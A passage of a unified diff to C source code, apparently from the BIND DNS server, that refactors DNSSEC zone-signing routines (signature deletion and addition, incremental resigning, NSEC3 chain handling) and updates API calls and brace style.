+static isc_result_t
+offline(dns_db_t *db, dns_dbversion_t *ver, dns__zonediff_t *zonediff,
+	dns_name_t *name, dns_ttl_t ttl, dns_rdata_t *rdata) {
+	isc_result_t result;
+
+	if ((rdata->flags & DNS_RDATA_OFFLINE) != 0) {
+		return (ISC_R_SUCCESS);
+	}
+	result = update_one_rr(db, ver, zonediff->diff, DNS_DIFFOP_DELRESIGN,
+			       name, ttl, rdata);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+	rdata->flags |= DNS_RDATA_OFFLINE;
+	result = update_one_rr(db, ver, zonediff->diff, DNS_DIFFOP_ADDRESIGN,
+			       name, ttl, rdata);
+	zonediff->offline = true;
+	return (result);
+}
+
+static void
+set_key_expiry_warning(dns_zone_t *zone, isc_stdtime_t when,
 		       isc_stdtime_t now) {
 	unsigned int delta;
 	char timebuf[80];
@@ -6613,7 +6341,7 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 	dns_rdataset_t rdataset;
 	unsigned int i;
 	dns_rdata_rrsig_t rrsig;
-	bool kasp = (dns_zone_getkasp(zone) != NULL);
+	bool kasp = zone->kasp;
 	bool found;
 	int64_t timewarn = 0, timemaybe = 0;
 
@@ -6652,9 +6380,7 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 		result = dns_rdata_tostruct(&rdata, &rrsig, NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-		if (type != dns_rdatatype_dnskey && type != dns_rdatatype_cds &&
-		    type != dns_rdatatype_cdnskey)
-		{
+		if (!dns_rdatatype_iskeymaterial(type)) {
 			bool warn = false, deleted = false;
 			if (delsig_ok(&rrsig, keys, nkeys, kasp, &warn)) {
 				result = update_one_rr(db, ver, zonediff->diff,
@@ -6666,7 +6392,7 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 				}
 				deleted = true;
 			}
-			if (warn) {
+			if (warn && !deleted) {
 				/*
 				 * At this point, we've got an RRSIG,
 				 * which is signed by an inactive key.
@@ -6676,7 +6402,7 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 				 * offline will prevent us spinning waiting
 				 * for the private part.
 				 */
-				if (incremental && !deleted) {
+				if (incremental) {
 					result = offline(db, ver, zonediff,
 							 name, rdataset.ttl,
 							 &rdata);
@@ -6726,16 +6452,19 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 				 * iff there is a new offline signature.
 				 */
 				if (!dst_key_inactive(keys[i]) &&
-				    !dst_key_isprivate(keys[i])) {
+				    !dst_key_isprivate(keys[i]))
+				{
 					int64_t timeexpire = dns_time64_from32(
 						rrsig.timeexpire);
 					if (timewarn != 0 &&
-					    timewarn > timeexpire) {
+					    timewarn > timeexpire)
+					{
 						timewarn = timeexpire;
 					}
 					if (rdata.flags & DNS_RDATA_OFFLINE) {
 						if (timemaybe == 0 ||
-						    timemaybe > timeexpire) {
+						    timemaybe > timeexpire)
+						{
 							timemaybe = timeexpire;
 						}
 						break;
@@ -6744,7 +6473,8 @@ del_sigs(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name,
 						timewarn = timemaybe;
 					}
 					if (timewarn == 0 ||
-					    timewarn > timeexpire) {
+					    timewarn > timeexpire)
+					{
 						timewarn = timeexpire;
 					}
 					result = offline(db, ver, zonediff,
@@ -6799,7 +6529,7 @@ static isc_result_t
 add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 	 dns_rdatatype_t type, dns_diff_t *diff, dst_key_t **keys,
 	 unsigned int nkeys, isc_mem_t *mctx, isc_stdtime_t inception,
-	 isc_stdtime_t expire, bool check_ksk, bool keyset_kskonly) {
+	 isc_stdtime_t expire) {
 	isc_result_t result;
 	dns_dbnode_t *node = NULL;
 	dns_stats_t *dnssecsignstats;
@@ -6807,12 +6537,10 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 	dns_rdata_t sig_rdata = DNS_RDATA_INIT;
 	unsigned char data[1024]; /* XXX */
 	isc_buffer_t buffer;
-	unsigned int i, j;
+	unsigned int i;
 	bool use_kasp = false;
 
-	if (dns_zone_getkasp(zone) != NULL) {
-		check_ksk = false;
-		keyset_kskonly = true;
+	if (zone->kasp != NULL) {
 		use_kasp = true;
 	}
 
@@ -6843,8 +6571,6 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 	}
 
 	for (i = 0; i < nkeys; i++) {
-		bool both = false;
-
 		/* Don't add signatures for offline or inactive keys */
 		if (!dst_key_isprivate(keys[i])) {
 			continue;
@@ -6853,44 +6579,6 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 			continue;
 		}
 
-		if (check_ksk && !REVOKE(keys[i])) {
-			bool have_ksk, have_nonksk;
-			if (KSK(keys[i])) {
-				have_ksk = true;
-				have_nonksk = false;
-			} else {
-				have_ksk = false;
-				have_nonksk = true;
-			}
-
-			for (j = 0; j < nkeys; j++) {
-				if (j == i || ALG(keys[i]) != ALG(keys[j])) {
-					continue;
-				}
-
-				/* Don't consider inactive keys, however
-				 * the key may be temporary offline, so do
-				 * consider keys which private key files are
-				 * unavailable.
-				 */
-				if (dst_key_inactive(keys[j])) {
-					continue;
-				}
-
-				if (REVOKE(keys[j])) {
-					continue;
-				}
-				if (KSK(keys[j])) {
-					have_ksk = true;
-				} else {
-					have_nonksk = true;
-				}
-				both = have_ksk && have_nonksk;
-				if (both) {
-					break;
-				}
-			}
-		}
 		if (use_kasp) {
 			/*
 			 * A dnssec-policy is found. Check what RRsets this
@@ -6900,7 +6588,6 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 			isc_stdtime_t when;
 			bool ksk = false;
 			bool zsk = false;
-			bool have_ksk = false;
 			bool have_zsk = false;
 
 			kresult = dst_key_getbool(keys[i], DST_BOOL_KSK, &ksk);
@@ -6916,60 +6603,14 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 				}
 			}
 
-			have_ksk = ksk;
-			have_zsk = zsk;
-			both = have_ksk && have_zsk;
-
-			for (j = 0; j < nkeys; j++) {
-				if (both) {
-					break;
-				}
-
-				if (j == i || ALG(keys[i]) != ALG(keys[j])) {
-					continue;
-				}
-
-				/*
-				 * Don't consider inactive keys or offline keys.
-				 */
-				if (!dst_key_isprivate(keys[j])) {
-					continue;
-				}
-				if (dst_key_inactive(keys[j])) {
-					continue;
-				}
-
-				if (REVOKE(keys[j])) {
-					continue;
-				}
-
-				if (!have_ksk) {
-					kresult = dst_key_getbool(keys[j],
-								  DST_BOOL_KSK,
-								  &have_ksk);
-					if (kresult != ISC_R_SUCCESS) {
-						if (KSK(keys[j])) {
-							have_ksk = true;
-						}
-					}
-				}
-				if (!have_zsk) {
-					kresult = dst_key_getbool(keys[j],
-								  DST_BOOL_ZSK,
-								  &have_zsk);
-					if (kresult != ISC_R_SUCCESS) {
-						if (!KSK(keys[j])) {
-							have_zsk = true;
-						}
-					}
-				}
-				both = have_ksk && have_zsk;
-			}
+			/*
+			 * Don't consider inactive keys or offline keys.
+			 */
+			(void)dst_key_have_ksk_and_zsk(keys, nkeys, i, true,
+						       ksk, zsk, NULL,
+						       &have_zsk);
 
-			if (type == dns_rdatatype_dnskey ||
-			    type == dns_rdatatype_cdnskey ||
-			    type == dns_rdatatype_cds)
-			{
+			if (dns_rdatatype_iskeymaterial(type)) {
 				/*
 				 * DNSKEY RRset is signed with KSK.
 				 * CDS and CDNSKEY RRsets too (RFC 7344, 4.1).
@@ -6982,42 +6623,49 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 				 * Other RRsets are signed with ZSK.
 				 */
 				if (type != dns_rdatatype_soa &&
-				    type != zone->privatetype) {
+				    type != zone->privatetype)
+				{
 					continue;
 				}
 				if (have_zsk) {
 					continue;
 				}
 			} else if (!dst_key_is_signing(keys[i], DST_BOOL_ZSK,
-						       inception, &when)) {
+						       inception, &when))
+			{
 				/*
 				 * This key is not active for zone-signing.
 				 */
 				continue;
 			}
-
-			/*
-			 * If this key is revoked, it may only sign the
-			 * DNSKEY RRset.
-			 */
-			if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
-				continue;
-			}
-		} else if (both) {
+		} else if (!REVOKE(keys[i])) {
 			/*
-			 * CDS and CDNSKEY are signed with KSK (RFC 7344, 4.1).
+			 * Don't consider inactive keys, however the KSK may be
+			 * temporary offline, so do consider keys which private
+			 * key files are unavailable.
 			 */
-			if (type == dns_rdatatype_dnskey ||
-			    type == dns_rdatatype_cdnskey ||
-			    type == dns_rdatatype_cds)
-			{
-				if (!KSK(keys[i]) && keyset_kskonly) {
+			bool both = dst_key_have_ksk_and_zsk(
+				keys, nkeys, i, false, KSK(keys[i]),
+				!KSK(keys[i]), NULL, NULL);
+			if (both) {
+				/*
+				 * CDS and CDNSKEY are signed with KSK (RFC
+				 * 7344, 4.1).
+				 */
+				if (dns_rdatatype_iskeymaterial(type)) {
+					if (!KSK(keys[i])) {
+						continue;
+					}
+				} else if (KSK(keys[i])) {
 					continue;
 				}
-			} else if (KSK(keys[i])) {
-				continue;
 			}
-		} else if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
+		}
+
+		/*
+		 * If this key is revoked, it may only sign the DNSKEY RRset.
+		 */
+		if (REVOKE(keys[i]) && type != dns_rdatatype_dnskey) {
 			continue;
 		}
 
@@ -7061,7 +6709,6 @@ add_sigs(dns_db_t *db, dns_dbversion_t *ver, dns_name_t *name, dns_zone_t *zone,
 
 static void
 zone_resigninc(dns_zone_t *zone) {
-	const char *me = "zone_resigninc";
 	dns_db_t *db = NULL;
 	dns_dbversion_t *version = NULL;
 	dns_diff_t _sig_diff;
@@ -7071,7 +6718,6 @@ zone_resigninc(dns_zone_t *zone) {
 	dns_rdataset_t rdataset;
 	dns_rdatatype_t covers;
 	dst_key_t *zone_keys[DNS_MAXZONEKEYS];
-	bool check_ksk, keyset_kskonly = false;
 	isc_result_t result;
 	isc_stdtime_t now, inception, soaexpire, expire, fullexpire, stop;
 	uint32_t sigvalidityinterval, expiryinterval;
@@ -7086,35 +6732,39 @@ zone_resigninc(dns_zone_t *zone) {
 	zonediff_init(&zonediff, &_sig_diff);
 
 	/*
-	 * Zone is frozen or automatic resigning is disabled.
-	 * Pause for 5 minutes.
+	 * Zone is frozen. Pause for 5 minutes.
 	 */
-	if (zone->update_disabled ||
-	    DNS_ZONEKEY_OPTION(zone, DNS_ZONEKEY_NORESIGN)) {
+	if (zone->update_disabled) {
 		result = ISC_R_FAILURE;
 		goto failure;
 	}
 
 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
-	dns_db_attach(zone->db, &db);
+	if (zone->db != NULL) {
+		dns_db_attach(zone->db, &db);
+	}
 	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
+	if (db == NULL) {
+		result = ISC_R_FAILURE;
+		goto failure;
+	}
 
 	result = dns_db_newversion(db, &version);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:dns_db_newversion -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	result = dns__zone_findkeys(zone, db, version, now, zone->mctx,
 				    DNS_MAXZONEKEYS, zone_keys, &nkeys);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:dns__zone_findkeys -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -7152,15 +6802,12 @@ zone_resigninc(dns_zone_t *zone) {
 	}
 	stop = now + 5;
 
-	check_ksk = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_UPDATECHECKKSK);
-	keyset_kskonly = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_DNSKEYKSKONLY);
-
 	name = dns_fixedname_initname(&fixed);
 	result = dns_db_getsigningtime(db, &rdataset, name);
 	if (result != ISC_R_SUCCESS && result != ISC_R_NOTFOUND) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:dns_db_getsigningtime -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 	}
 
 	i = 0;
@@ -7188,7 +6835,7 @@ zone_resigninc(dns_zone_t *zone) {
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "zone_resigninc:del_sigs -> %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			break;
 		}
 
@@ -7201,12 +6848,11 @@ zone_resigninc(dns_zone_t *zone) {
 		result = add_sigs(db, version, name, zone, covers,
 				  zonediff.diff, zone_keys, nkeys, zone->mctx,
 				  inception,
-				  resign > (now - 300) ? expire : fullexpire,
-				  check_ksk, keyset_kskonly);
+				  resign > (now - 300) ? expire : fullexpire);
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "zone_resigninc:add_sigs -> %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			break;
 		}
 		result = dns_db_getsigningtime(db, &rdataset, name);
@@ -7218,7 +6864,7 @@ zone_resigninc(dns_zone_t *zone) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "zone_resigninc:dns_db_getsigningtime -> "
 				     "%s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 		}
 	}
 
@@ -7231,7 +6877,7 @@ zone_resigninc(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:del_sigs -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -7254,7 +6900,7 @@ zone_resigninc(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:update_soa_serial -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -7264,11 +6910,11 @@ zone_resigninc(dns_zone_t *zone) {
 	 */
 	result = add_sigs(db, version, &zone->origin, zone, dns_rdatatype_soa,
 			  zonediff.diff, zone_keys, nkeys, zone->mctx,
-			  inception, soaexpire, check_ksk, keyset_kskonly);
+			  inception, soaexpire);
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "zone_resigninc:add_sigs -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -7333,7 +6979,7 @@ next_active(dns_db_t *db, dns_dbversion_t *version, dns_name_t *oldname,
 		/*
 		 * Is this node empty?
 		 */
-		CHECK(dns_db_allrdatasets(db, node, version, 0, &rdsit));
+		CHECK(dns_db_allrdatasets(db, node, version, 0, 0, &rdsit));
 		result = dns_rdatasetiter_first(rdsit);
 		dns_db_detachnode(db, &node);
 		dns_rdatasetiter_destroy(&rdsit);
@@ -7360,7 +7006,7 @@ signed_with_good_key(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdata_rrsig_t rrsig;
 	int count = 0;
-	dns_kasp_t *kasp = dns_zone_getkasp(zone);
+	dns_kasp_t *kasp = zone->kasp;
 
 	dns_rdataset_init(&rdataset);
 	result = dns_db_findrdataset(db, node, version, dns_rdatatype_rrsig,
@@ -7376,7 +7022,8 @@ signed_with_good_key(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 		result = dns_rdata_tostruct(&rdata, &rrsig, NULL);
 		INSIST(result == ISC_R_SUCCESS);
 		if (rrsig.algorithm == dst_key_alg(key) &&
-		    rrsig.keyid == dst_key_id(key)) {
+		    rrsig.keyid == dst_key_id(key))
+		{
 			dns_rdataset_disassociate(&rdataset);
 			return (true);
 		}
@@ -7386,7 +7033,7 @@ signed_with_good_key(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 		dns_rdata_reset(&rdata);
 	}
 
-	if (dns_zone_getkasp(zone) != NULL) {
+	if (zone->kasp != NULL) {
 		dns_kasp_key_t *kkey;
 		int zsk_count = 0;
 		bool approved;
@@ -7404,9 +7051,7 @@ signed_with_good_key(dns_zone_t *zone, dns_db_t *db, dns_dbnode_t *node,
 		}
 		KASP_UNLOCK(kasp);
 
-		if (type == dns_rdatatype_dnskey ||
-		    type == dns_rdatatype_cdnskey || type == dns_rdatatype_cds)
-		{
+		if (dns_rdatatype_iskeymaterial(type)) {
 			/*
 			 * CDS and CDNSKEY are signed with KSK like DNSKEY.
 			 * (RFC 7344, section 4.1 specifies that they must
@@ -7455,7 +7100,7 @@ check_if_bottom_of_zone(dns_db_t *db, dns_dbnode_t *node,
 
 	REQUIRE(is_bottom_of_zone != NULL);
 
-	result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+	result = dns_db_allrdatasets(db, node, version, 0, 0, &iterator);
 	if (result != ISC_R_SUCCESS) {
 		if (result == ISC_R_NOTFOUND) {
 			result = ISC_R_SUCCESS;
@@ -7499,8 +7144,8 @@ static isc_result_t
 sign_a_node(dns_db_t *db, dns_zone_t *zone, dns_name_t *name,
 	    dns_dbnode_t *node, dns_dbversion_t *version, bool build_nsec3,
 	    bool build_nsec, dst_key_t *key, isc_stdtime_t inception,
-	    isc_stdtime_t expire, dns_ttl_t nsecttl, bool is_ksk, bool is_zsk,
-	    bool keyset_kskonly, bool is_bottom_of_zone, dns_diff_t *diff,
+	    isc_stdtime_t expire, dns_ttl_t nsecttl, bool both, bool is_ksk,
+	    bool is_zsk, bool is_bottom_of_zone, dns_diff_t *diff,
 	    int32_t *signatures, isc_mem_t *mctx) {
 	isc_result_t result;
 	dns_rdatasetiter_t *iterator = NULL;
@@ -7512,7 +7157,7 @@ sign_a_node(dns_db_t *db, dns_zone_t *zone, dns_name_t *name,
 	unsigned char data[1024];
 	bool seen_soa, seen_ns, seen_rr, seen_nsec, seen_nsec3, seen_ds;
 
-	result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+	result = dns_db_allrdatasets(db, node, version, 0, 0, &iterator);
 	if (result != ISC_R_SUCCESS) {
 		if (result == ISC_R_NOTFOUND) {
 			result = ISC_R_SUCCESS;
@@ -7577,28 +7222,27 @@ sign_a_node(dns_db_t *db, dns_zone_t *zone, dns_name_t *name,
 
 		dns_rdatasetiter_current(iterator, &rdataset);
 		if (rdataset.type == dns_rdatatype_soa ||
-		    rdataset.type == dns_rdatatype_rrsig) {
+		    rdataset.type == dns_rdatatype_rrsig)
+		{
 			goto next_rdataset;
 		}
-		if (rdataset.type == dns_rdatatype_dnskey ||
-		    rdataset.type == dns_rdatatype_cdnskey ||
-		    rdataset.type == dns_rdatatype_cds)
-		{
+		if (dns_rdatatype_iskeymaterial(rdataset.type)) {
 			/*
 			 * CDS and CDNSKEY are signed with KSK like DNSKEY.
 			 * (RFC 7344, section 4.1 specifies that they must
 			 * be signed with a key in the current DS RRset,
 			 * which would only include KSK's.)
 			 */
-			if (!is_ksk && keyset_kskonly) {
+			if (!is_ksk && both) {
 				goto next_rdataset;
 			}
-		} else if (!is_zsk) {
+		} else if (!is_zsk && both) {
 			goto next_rdataset;
 		} else if (is_zsk && !dst_key_is_signing(key, DST_BOOL_ZSK,
-							 inception, &when)) {
+							 inception, &when))
+		{
 			/* Only applies to dnssec-policy. */
-			if (dns_zone_getkasp(zone) != NULL) {
+			if (zone->kasp != NULL) {
 				goto next_rdataset;
 			}
 		}
@@ -7609,7 +7253,8 @@ sign_a_node(dns_db_t *db, dns_zone_t *zone, dns_name_t *name,
 			goto next_rdataset;
 		}
 		if (signed_with_good_key(zone, db, node, version, rdataset.type,
-					 key)) {
+					 key))
+		{
 			goto next_rdataset;
 		}
 
@@ -7833,6 +7478,7 @@ fixup_nsec3param(dns_db_t *db, dns_dbversion_t *ver, dns_nsec3chain_t *chain,
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdataset_t rdataset;
 	dns_rdata_nsec3param_t nsec3param;
+	dns_rdata_soa_t soa;
 	isc_result_t result;
 	isc_buffer_t buffer;
 	unsigned char parambuf[DNS_NSEC3PARAM_BUFFERSIZE];
@@ -7843,6 +7489,21 @@ fixup_nsec3param(dns_db_t *db, dns_dbversion_t *ver, dns_nsec3chain_t *chain,
 
 	result = dns_db_getoriginnode(db, &node);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+	/* Default TTL is SOA MINIMUM */
+	result = dns_db_findrdataset(db, node, ver, dns_rdatatype_soa, 0, 0,
+				     &rdataset, NULL);
+	if (result == ISC_R_SUCCESS) {
+		CHECK(dns_rdataset_first(&rdataset));
+		dns_rdataset_current(&rdataset, &rdata);
+		CHECK(dns_rdata_tostruct(&rdata, &soa, NULL));
+		ttl = soa.minimum;
+		dns_rdata_reset(&rdata);
+	}
+	if (dns_rdataset_isassociated(&rdataset)) {
+		dns_rdataset_disassociate(&rdataset);
+	}
+
 	result = dns_db_findrdataset(db, node, ver, dns_rdatatype_nsec3param, 0,
 				     0, &rdataset, NULL);
 	if (result == ISC_R_NOTFOUND) {
@@ -7893,7 +7554,7 @@ fixup_nsec3param(dns_db_t *db, dns_dbversion_t *ver, dns_nsec3chain_t *chain,
 		goto add;
 	}
 
-	result = dns_nsec_nseconly(db, ver, &nseconly);
+	result = dns_nsec_nseconly(db, ver, diff, &nseconly);
 	nsec3ok = (result == ISC_R_SUCCESS && !nseconly);
 
 	/*
@@ -7916,7 +7577,8 @@ fixup_nsec3param(dns_db_t *db, dns_dbversion_t *ver, dns_nsec3chain_t *chain,
 
 		dns_rdataset_current(&rdataset, &private);
 		if (!dns_nsec3param_fromprivate(&private, &rdata, buf,
-						sizeof(buf))) {
+						sizeof(buf)))
+		{
 			continue;
 		}
 		CHECK(dns_rdata_tostruct(&rdata, &nsec3param, NULL));
@@ -8169,8 +7831,7 @@ dns__zone_updatesigs(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *version,
 		     dst_key_t *zone_keys[], unsigned int nkeys,
 		     dns_zone_t *zone, isc_stdtime_t inception,
 		     isc_stdtime_t expire, isc_stdtime_t keyexpire,
-		     isc_stdtime_t now, bool check_ksk, bool keyset_kskonly,
-		     dns__zonediff_t *zonediff) {
+		     isc_stdtime_t now, dns__zonediff_t *zonediff) {
 	dns_difftuple_t *tuple;
 	isc_result_t result;
 
@@ -8178,9 +7839,7 @@ dns__zone_updatesigs(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *version,
 		isc_stdtime_t exp = expire;
 
 		if (keyexpire != 0 &&
-		    (tuple->rdata.type == dns_rdatatype_dnskey ||
-		     tuple->rdata.type == dns_rdatatype_cdnskey ||
-		     tuple->rdata.type == dns_rdatatype_cds))
+		    dns_rdatatype_iskeymaterial(tuple->rdata.type))
 		{
 			exp = keyexpire;
 		}
@@ -8191,17 +7850,16 @@ dns__zone_updatesigs(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *version,
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "dns__zone_updatesigs:del_sigs -> %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			return (result);
 		}
 		result = add_sigs(db, version, &tuple->name, zone,
 				  tuple->rdata.type, zonediff->diff, zone_keys,
-				  nkeys, zone->mctx, inception, exp, check_ksk,
-				  keyset_kskonly);
+				  nkeys, zone->mctx, inception, exp);
 		if (result != ISC_R_SUCCESS) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "dns__zone_updatesigs:add_sigs -> %s",
-				     dns_result_totext(result));
+				     isc_result_totext(result));
 			return (result);
 		}
 
@@ -8223,7 +7881,6 @@ dns__zone_updatesigs(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *version,
  */
 static void
 zone_nsec3chain(dns_zone_t *zone) {
-	const char *me = "zone_nsec3chain";
 	dns_db_t *db = NULL;
 	dns_dbnode_t *node = NULL;
 	dns_dbversion_t *version = NULL;
@@ -8240,7 +7897,6 @@ zone_nsec3chain(dns_zone_t *zone) {
 	dns_nsec3chainlist_t cleanup;
 	dst_key_t *zone_keys[DNS_MAXZONEKEYS];
 	int32_t signatures;
-	bool check_ksk, keyset_kskonly;
 	bool delegation;
 	bool first;
 	isc_result_t result;
@@ -8299,18 +7955,18 @@ zone_nsec3chain(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:dns_db_newversion -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	result = dns__zone_findkeys(zone, db, version, now, zone->mctx,
 				    DNS_MAXZONEKEYS, zone_keys, &nkeys);
 	if (result != ISC_R_SUCCESS) {
 		dnssec_log(zone, ISC_LOG_ERROR,
 			   "zone_nsec3chain:dns__zone_findkeys -> %s",
-			   dns_result_totext(result));
+			   isc_result_totext(result));
 		goto failure;
 	}
 
@@ -8340,9 +7996,6 @@ zone_nsec3chain(dns_zone_t *zone) {
 		expire = soaexpire - 1;
 	}
 
-	check_ksk = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_UPDATECHECKKSK);
-	keyset_kskonly = DNS_ZONE_OPTION(zone, DNS_ZONEOPT_DNSKEYKSKONLY);
-
 	/*
 	 * We keep pulling nodes off each iterator in turn until
 	 * we have no more nodes to pull off or we reach the limits
@@ -8446,7 +8099,8 @@ zone_nsec3chain(dns_zone_t *zone) {
 		/*
 		 * Check to see if this is a bottom of zone node.
 		 */
-		result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+		result = dns_db_allrdatasets(db, node, version, 0, 0,
+					     &iterator);
 		if (result == ISC_R_NOTFOUND) {
 			/* Empty node? */
 			goto next_addnode;
@@ -8500,7 +8154,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_nsec3chain:"
 				   "dns_nsec3_addnsec3 -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			goto failure;
 		}
 
@@ -8557,7 +8211,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_nsec3chain:"
 					   "dns_dbiterator_next -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			} else if (delegation) {
 				dns_dbiterator_current(nsec3chain->dbiterator,
@@ -8637,7 +8291,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_nsec3chain:"
 					   "need_nsec_chain -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			}
 		}
@@ -8664,7 +8318,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "zone_nsec3chain:"
 						   "fixup_nsec3param -> %s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
 					goto failure;
 				}
 			}
@@ -8679,7 +8333,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_nsec3chain:"
 					   "deletematchingnsec3 -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			}
 			goto next_removenode;
@@ -8709,7 +8363,8 @@ zone_nsec3chain(dns_zone_t *zone) {
 		/*
 		 * Check to see if this is a bottom of zone node.
 		 */
-		result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+		result = dns_db_allrdatasets(db, node, version, 0, 0,
+					     &iterator);
 		if (result == ISC_R_NOTFOUND) {
 			/* Empty node? */
 			goto next_removenode;
@@ -8787,7 +8442,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 					dnssec_log(zone, ISC_LOG_ERROR,
 						   "zone_nsec3chain:"
 						   "fixup_nsec3param -> %s",
-						   dns_result_totext(result));
+						   isc_result_totext(result));
 					goto failure;
 				}
 				goto next_removechain;
@@ -8795,7 +8450,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 				dnssec_log(zone, ISC_LOG_ERROR,
 					   "zone_nsec3chain:"
 					   "dns_dbiterator_next -> %s",
-					   dns_result_totext(result));
+					   isc_result_totext(result));
 				goto failure;
 			} else if (delegation) {
 				dns_dbiterator_current(nsec3chain->dbiterator,
@@ -8830,11 +8485,12 @@ zone_nsec3chain(dns_zone_t *zone) {
 		bool rebuild_nsec = false, rebuild_nsec3 = false;
 		result = dns_db_getoriginnode(db, &node);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		result = dns_db_allrdatasets(db, node, version, 0, &iterator);
+		result = dns_db_allrdatasets(db, node, version, 0, 0,
+					     &iterator);
 		if (result != ISC_R_SUCCESS) {
 			dnssec_log(zone, ISC_LOG_ERROR,
 				   "zone_nsec3chain:dns_db_allrdatasets -> %s",
-				   dns_result_totext(result));
+				   isc_result_totext(result));
 			goto failure;
 		}
 		for (result = dns_rdatasetiter_first(iterator);
@@ -8863,7 +8519,7 @@ zone_nsec3chain(dns_zone_t *zone) {
 			if (result != ISC_R_SUCCESS) {
 				dnssec_log(zone, ISC_LOG_ERROR,
